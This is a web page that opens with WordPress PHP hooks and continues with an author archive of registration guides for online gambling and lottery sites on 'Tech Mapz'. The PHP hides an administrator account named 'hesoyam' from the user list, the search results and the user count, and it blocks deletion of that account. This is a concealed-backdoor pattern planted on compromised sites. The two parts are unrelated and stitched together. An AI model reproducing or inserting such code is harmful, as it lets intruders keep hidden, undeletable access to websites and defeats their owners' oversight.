add_action('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->base === 'users') {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user) {
$excluded = (array) $query->get('exclude');
$excluded[] = $protected_user->ID;
$query->set('exclude', $excluded);
}
}
}
});
add_filter('wp_count_users', function($counts) {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user) {
$counts->total_users--;
}
return $counts;
});
add_action('delete_user', function($user_id) {
$user = get_user_by('ID', $user_id);
if ($user && $user->user_login === 'hesoyam') {
wp_die(
__('User hesoyam tidak dapat dihapus.', 'textdomain'),
__('Error', 'textdomain'),
array('response' => 403)
);
}
});
add_filter('user_search_columns', function($search_columns, $search, $query) {
if (is_admin()) {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user) {
global $wpdb;
$query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
}
}
return $search_columns;
}, 10, 3);
add_filter('bulk_actions-users', function($actions) {
if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) {
$protected_user = get_user_by('login', 'hesoyam');
if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) {
unset($actions['delete']);
}
}
return $actions;
});
Sammy - Tech Mapz - Page 2 of 4
Author - Sammy
Register on BG 678 BG 678 was developed with the aim of providing a straightened up and orderly...
Register on KWG Game KWG Game is an online gaming site that features a variety of fast-paced...
Register on 82 Lottery 82 Lottery is an online platform for lotteries and prediction games based on...
Register on 66 Lottery The 66 Lottery registration process has been developed to be highly rapid...
Register on Raja Luck Raja Luck is an online game application where users can play different kinds...
Register on Tiranga Game Tiranga Game is a web-based platform meant for short-format games that are...
Register on Jalwa Game The mobile gaming platform called “Jalwa Game” has several types...
Register on Daman Game The Daman Game platform has emerged as one of the preferred gaming sites for...
Register on BDG Win The BDG Win app has soon become a favorite among online gaming enthusiasts...
Register on 55 Club 55 Club is a new online gaming platform that is getting noticed with its simple...
This is an independent information site. We do not operate Tech Mapz, we are not affiliated with its operators, and we have no access to player accounts. For account, deposit or withdrawal matters please contact the operator directly. 18+ only. Play responsibly.